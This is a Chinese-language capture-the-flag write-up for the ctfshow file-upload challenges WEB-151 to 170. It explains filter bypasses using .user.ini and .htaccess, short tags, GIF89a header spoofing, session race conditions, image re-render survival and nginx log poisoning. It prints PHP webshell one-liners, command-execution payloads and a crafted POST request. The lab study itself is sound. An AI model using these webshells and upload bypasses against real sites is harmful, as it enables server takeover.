ctfshow-文件上传
WEB-151(前端验证)
上传png后缀的 然后抓包改回php即可
WEB-152(后端Content-Type校验)
Content-Type是返回消息中非常重要的内容,表示后面的文档属于什么MIME类型。
所以跟151做法一样 先上传png然后bp改后缀即可
参考:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types
https://segmentfault.com/a/1190000013056786
WEB-153(.user.ini)
前两种通过修改后缀这里不能用了
访问/upload 发现有内容nothing here 然后可以猜到这里有/uplaod/index.php
那么目标就很明确了 我们上传的路径下有一个现成的php文件 理所当然想到通过上传.user.ini来做这道题
但是.htaccess只是适用于apache,如果变成niginx或者iis则不会被解析
通过报错我们可以看到题目环境中间件是nginx 但是这也不影响我们用.user.ini
因为只要用了fastcgi我们就可以用.user.ini
FastCGI常用于将Web服务器(如Nginx、Apache)与应用程序(如PHP、Python、Ruby)进行集成,以提供动态内容的生成和处理能力。它是一种高性能、灵活和可扩展的Web应用程序交互协议。
.user.ini:
.user.ini也是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。但是如果想要把某个文件里面的配置与全局的php.ini不同,则可以在php文件中加上ini_set()来配置特定的配置变量。
而.user.ini和.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。
偷的https://www.cnblogs.com/sijidou/p/13121301.html
简单理解就是php的配置文件它可以设置一些配置 比如怎么去解析我们上传的文件一类的
内容:
1 | //.user.ini |
怎么理解?
就是把我们指定的文件包含进宿主php文件中 利用其实本质就是用require()去包含我们的恶意文件并且即使后缀不是php文件也可被当作php文件来解析
这里require()完全就是include()函数一样
一个是宿主php文件头部去包含 一个是尾部两者皆可
先将.user.ini增加后缀png然后抓包去除 在上传我们指定的恶意文件
这时我们前面已经说的很清楚了 直接访问/upload/index.php 这样我们的木马就被包含在这个index.php文件中了而不是直接去访问我们的木马文件
可以看到 已经包含在头部了
WEB-154~155(.user.ini+短标签)
waf了文件内容php字样
用短标签bypass即可
1 | eval($_POST[x]); @ |
WEB-156([]绕过)
在154~155基础上过滤了[]
用{}
bypass
1 | <?=@eval($_POST{x});?> |
WEB-157~159({} ; ()绕过)
在前面基础上过滤了{}和分号 那我们不写一句话了 直接命令执行读flag
1 | <?=`tac ./../f*`;?>` 或者`<?=system('tac ../f*')?> |
159不行 过滤了括号只能用第一种
WEB-160(日志包含 绕log)
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
log用拼接绕过
然后文件头User-Agent包含一句话木马即可
WEB-161(文件头检测绕过)
在160基础上增加了检测文件头的函数 增加图片头GIF89a绕过即可
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
其实GIF89a就是我们一般见到的gif动图的文件头
通过010对一个gif图分析就能看到文件头
WEB-162~163(session 条件竞争)
之前别的模块做过类似的
1 | <!DOCTYPE html> |
上传一个文件改数据包:
加上木马和Cookie:PHPSESSID=ban
1 | POST / HTTP/1.1 |
然后再将.user.ini改为
1 | GIF89a |
然后两个条件竞争一直发包即可
WEB-164(PNG 二次渲染)
随便上传一个图片 然后我们可以访问http://6a0dd0db-7621-467f-8c76-dd8bd63732b6.challenge.ctf.show/download.php?image=32d3ca5e23f4ccf1e4c8660c40e75f33.png
可以看到是通过文件包含形式
二次渲染就是我们夹杂在图像里的木马上传后会被删掉 我们需要下载下来找到它不删除的地方把我们的木马加进去然后利用文件包含执行我们的木马
因为我的php是8.2.0的版本 修改ini文件 extension=gd
把前面的;
去掉
然后才能用这个脚本
1 |
|
可以看到木马是以短标签写进去的
抓包执行即可
1 | POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system HTTP/1.1 |
WEB-165(jpg二次渲染)
傻逼题 没啥好说的
WEB-166(zip)
给zip后面添加一句话上传 然后包含执行 题目环境有问题 返回包是空的
WEB-167(.htaccess)
报500错误 环境有问题 无语了
.htaccess也是php的配置文件 是一个局部配置文件 只对该文件所在目录下的文件起作用
我们可以上传上去jpg文件 但是不是php文件 无法解析
所以我们需要.htaccess这个文件去将我们的jpg文件解析成php文件
内容:
1 | <FilesMatch "1.jpg"> //需要解析的文件名 |
WEB-168(免杀)
过滤了eval get post system
paylaod:
1 | $_REQUEST[1]`; ` |
当时用反引号做的时候一直在想为什么返回包是空白 后来才想到这个反引号没有回显 要用echo一下 或者搭配短标签
WEB-169~WEB-170(日志包含)
可以上传php文件到upload下然后上传user.ini 里面的内容指向nginx的日志文件 然后请求头写入一句话木马 去包含访问即可
结尾:
真被某些题环境搞心态了
继续下一大陆 sql注入!!!!!!!!!!!!!!!!!!!